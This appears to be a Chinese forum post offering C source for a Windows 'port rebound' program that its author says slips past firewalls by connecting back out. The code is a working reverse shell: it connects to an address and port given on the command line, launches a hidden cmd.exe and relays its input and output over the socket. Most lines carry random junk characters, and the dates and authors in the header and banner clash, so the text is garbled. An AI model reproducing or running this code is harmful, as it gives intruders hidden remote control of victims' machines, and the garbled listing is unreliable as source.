Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 2_n*u^X:_  
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/* ============================== NP'Ke:  
Rebound port in Windows NT t<,p-TM]  
By wind,2006/7 g4aX  
===============================*/ ^jjJM|a  
#include x*8f3^ wE  
#include O)%kl  
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#pragma comment(lib,"wsock32.lib") Pl&`&N;  
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void OutputShell(); KGmc*Jwy  
SOCKET sClient; "UGj
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =^y{@[p`(  
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void main(int argc,char **argv) #r)1<}_e#  
{ p]z54 ~  
WSADATA stWsaData; /3Ix,7  
int nRet; Ny,A#-?  
SOCKADDR_IN stSaiClient,stSaiServer; MI'l4<>u  
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if(argc != 3) tO>OD#  
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); a& aPBv1  
return; afiK!0col2  
} vLFaZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); i2a"J&,6O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [2 w<F[  
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stSaiClient.sin_family = AF_INET; pUMB)(<k  
stSaiClient.sin_port = htons(0); 
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9'#.>Q>0=j  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a05:iFoJ  
{ *R\/#Y|  
printf("Bind Socket Failed!\n"); xT?}wF  
return; <C"N X  
} ,x"yZ  
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stSaiServer.sin_family = AF_INET; ->2wrOH|H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %^?3s5PXD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vs])%l%t  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dFP-(dX#  
{ |k
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printf("Connect Error!"); @W\4UX3dK  
return; D7WI(j\  
} l&??2VO/t  
OutputShell(); ,C,e/>+My  
} 2C33;?M  
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void OutputShell() ^Ii \vk  
{ 5 (21gW9  
char szBuff[1024]; X]pWvQ Q]  
SECURITY_ATTRIBUTES stSecurityAttributes; -8Jl4F ,  
OSVERSIONINFO stOsversionInfo; *- IlF]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~? FrI  
STARTUPINFO stStartupInfo; +.(}u ,:8  
char *szShell; 2u*h*/  
PROCESS_INFORMATION stProcessInformation; B?lBO V4v4  
unsigned long lBytesRead; 56=K@$L {F  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bw]L2=d  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7hN6IP*so  
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; q"LJwV}W  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @Tfwh/UN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @>#{WI:"~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o~o6S=4,}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4&oXy,8LC  
stStartupInfo.wShowWindow = SW_HIDE; ,+\4 '`  
stStartupInfo.hStdInput = hReadPipe; vJj:9KcP>h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; by|?g8  
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GetVersionEx(&stOsversionInfo); p17|ld`  
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switch(stOsversionInfo.dwPlatformId) <5ft6a2fQ  
{ @W1WReK]f  
case 1: J|"nwY}a9  
szShell = "command.com"; (Q@+v<   
break; jW1YTQ  
default: wj#J>C2]  
szShell = "cmd.exe"; .YjrV+om1  
break; fzRyG-cEpj  
} @!":(@3[  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Iu-'o  
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send(sClient,szMsg,77,0); ;-9zMbte:  
while(1) 8!uL-_Bn  
{ T@Ss&eGT2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VA=#0w  
if(lBytesRead) M2;%1^  
{ S_|9j{w)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2;%#C!TG;  
send(sClient,szBuff,lBytesRead,0);  `CAG8D  
} y|e2j&m  
else rb *C-NutE  
{ J})$  
lBytesRead=recv(sClient,szBuff,1024,0); wuIsO;}/9  
if(lBytesRead<=0) break; %$ir a\ sM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rq<`(V'
2  
} /63W\  
} waXDGdl0  
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return; ?#BZ `H  
}